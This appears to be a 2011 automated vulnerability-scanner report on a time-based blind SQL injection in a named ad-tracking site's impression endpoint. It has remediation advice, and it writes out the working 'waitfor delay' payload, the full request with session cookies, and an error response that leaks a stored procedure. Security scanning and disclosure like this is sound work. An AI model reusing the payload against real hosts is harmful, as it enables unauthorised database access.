Blind SQL Injection, CWE-89, SQL Injection, trk.vindicosuite.com

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by CloudScan Vulnerability Crawler at Sat Feb 12 15:30:57 CST 2011.


The DORK Report

Loading

1. SQL injection



1. SQL injection

Summary

Severity:   High
Confidence:   Certain
Host:   http://trk.vindicosuite.com
Path:   /Tracking/V2/BannerCreative/Impression/

Issue detail

The adRotationId parameter appears to be vulnerable to SQL injection attacks. The payload waitfor%20delay'0%3a0%3a20'-- was submitted in the adRotationId parameter. The application took 21188 milliseconds to respond to the request, compared with 1010 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request

GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=48783&campaignId=6325&adRotationId=15325waitfor%20delay'0%3a0%3a20'--&bannerCreativeAdModuleId=21533&redirect=http%3a%2f%2fvindicoasset.edgesuite.net%2fRepository%2fCampaignCreative%2fCampaign_6325%2fBANNERCREATIVE%2fplaceholder_300x250.jpg HTTP/1.1
Host: trk.vindicosuite.com
Proxy-Connection: keep-alive
Referer: http://www.dailymotion.com/video/xdorcb_katy-perry-featuring-snoop-dogg-cal_music
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VINDICOSUITEAUDIENCE=%7B%22PL%22%3A%7B%223BBC8FBC%2DC6A8%2D43A6%2DB65C%2D2405955B79FE%22%3A%7B%2253398251%2DC5D1%2D4466%2D84FA%2D7CEE6AF3F691%22%3A%221295658149%22%7D%7D%7D; VINDICOAUDIENCEISSUEDIDENTITY=10aa51b8-16d7-4be9-8b5a-488ee3c949fc; vpp=10aa51b8-16d7-4be9-8b5a-488ee3c949fc; 10aa51b8-16d7-4be9-8b5a-488ee3c949fc={1296137382377:InstreamImpression_0:6146|14|2080|45439|14942|33453|10|2204:2}{1296137388154:InstreamImpression_25:6146|14|2080|45439|14942|33453|10|2204:2}{1296137389177:InstreamImpression_50:6146|14|2080|45439|14942|33453|10|2204:2}{1296137394130:InstreamImpression_75:6146|14|2080|45439|14942|33453|10|2204:2}{1296137398881:InstreamImpression_100:6146|14|2080|45439|14942|33453|10|2204:1}{1296749649702:InstreamImpression_0:5745|413|1574|42244|14160|30521|868|2293:1}; ASPSESSIONIDACAQDQTA=FIAOOMADIDENKJMAPJJKEDAI; ASPSESSIONIDACDDBTDD=LKBLIFNCJCMLMGNLCBMIDCAC; ASPSESSIONIDAATCBRDA=KFDFPANCOKHKELJOFFGHLMFD; ASPSESSIONIDAATDCTCC=NAOCJENCEHMEKKKALOOMFPGD; ASPSESSIONIDCQDAQSSC=CKANHCCDBEAIHKIIEOFIGEKF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:55:56 GMT
Expires: Sat, 12 Feb 2011 20:55:36 GMT
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDQCRDATAA=FOCBKENCKNDGLNKKCPOJLLFB; path=/
X-Powered-By: ASP.NET
Content-Length: 1017
Connection: keep-alive

<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@ipAddress', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @ba
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sat Feb 12 15:30:57 CST 2011.